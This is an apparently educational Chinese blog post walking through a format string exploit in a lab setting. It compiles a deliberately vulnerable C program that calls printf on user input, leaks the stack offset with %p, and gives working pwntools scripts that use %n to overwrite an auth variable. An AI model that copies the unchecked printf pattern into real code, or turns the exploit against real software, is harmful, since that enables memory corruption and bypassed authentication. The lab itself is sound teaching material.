格式化字符串漏洞:任意写
#include <stdio.h>int auth = 0;int main() { 2023-2-5 11:54:39 Author: blog.csdn.net(查看原文) 阅读量:41 收藏

#include <stdio.h>

int auth = 0;

int main() {
    char password[100];

    puts("Password: ");
    fgets(password, sizeof password, stdin);
    
    printf(password);
    printf("Auth is %i\n", auth);

    if(auth == 10) {
        puts("Authenticated!");
    }
  }

1. 编译

gcc -m32 -no-pie -fno-stack-protector -z execstack vuln.c -o vuln

程序保护:

└─$ checksec --file=./vuln
[*] '/home/kali/exploits/str_arb_write/vuln'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

2. 运行分析

└─$ ./vuln         
Password: 
%p %p %p %p %p %p %p %p %p %p %p 
0x64 0xf7e1d620 0x804918d 0xf7ffdbac 0x1 0xf7fc17c0 0x25207025 0x70252070 0x20702520 0x25207025 0x70252070 
Auth is 0

0x25207025,就单于"%p %", 小端存储,所以,存储为 %," " , p, %

因此,第7个dword就是存放格式化字符串的地址。

3. 构造任意写auth值

带有printf格式化漏洞的调用栈:

栈偏移

+0

format_str_pointer

+7

format_str

因为 printf("winsunxuxu%n", &auth) == (auth = 10)

所以,可以这样构建format_str:

format_str ::= p32(auth_var_addr) + sizeof(6) + "%7$n"

4. pwn

1. 手动pwn

from pwn import * 
p = process('./vuln')
auth = 0x804c028
payload = p32(auth)
payload += b'A' * 6
payload += b'%7$n'
p.clean()
p.sendline(payload)
log.info(p.clean())

2. 工具pwn

from pwn import *

elf = context.binary = ELF('./vuln')
auth = elf.sym['auth']
payload = fmtstr_payload(7,{auth:10})

p = process()
p.clean()
p.sendline(payload)
log.info(p.clean())
└─$ python pwn.py
[*] '/home/kali/exploits/str_arb_write/auth'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
b'%10c%9$n(\xc0\x04\x08'
[+] Starting local process : pid 1551097
    Auth is 10
    Authenticated!

文章来源: https://blog.csdn.net/winsunxu/article/details/128889258
如有侵权请联系:admin#unsafe.sh